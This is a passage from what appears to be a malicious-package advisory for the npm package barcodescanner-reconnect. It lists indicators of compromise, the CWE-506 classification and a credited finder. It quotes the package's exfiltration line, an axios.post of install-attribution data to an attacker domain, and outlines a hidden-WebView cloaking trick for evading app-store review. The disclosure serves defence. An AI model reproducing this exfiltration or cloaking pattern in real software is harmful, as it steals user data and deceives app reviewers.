On component mount it registers `appsFlyer.onInstallConversionData` and exfiltrates the app's install/conversion attribution data via `axios.post(\"https://surrprisingcoompanny.lol\", data)`, fetches a remote-config URL, and renders it full-screen in a `react-native-webview` that is hidden (display:'none') unless the server returns a valid URL — i.e. App Store review-evasion / attribution-laundering ('cloaking'). The package name is a decoy unrelated to its actual function, and the real logic is concealed behind junk 'calculator' functions with Ukrainian-language comments. Indicators of compromise: C2 surrprisingcoompanny.lol, barbellmate.xyz; npm author `sproger`. Both C2 domains are currently unregistered (dangling-C2 takeover risk for any app still shipping these packages). Reproducible from the published tarball, e.g. socket-network@1.0.0 SocketComponent*.jsx: appsFlyer.onInstallConversionData(...) -> axios.post(\"https://surrprisingcoompanny.lol\", data); axios.get(fLink) remote config; hidden <WebView source={{uri: techResult}}> gated on display:'none'/'flex'.","affected":[{"package":{"ecosystem":"npm","name":"barcodescanner-reconnect"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}]}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/barcodescanner-reconnect"}],"credits":[{"name":"WestBayBerry / dependency-guardian","type":"FINDER","contact":["https://westbayberry.com","https://github.com/ComCat1"]}],"database_specific":{"iocs":{"domains":["surrprisingcoompanny.lol","barbellmate.xyz"]},"malicious-packages-origins":null}}
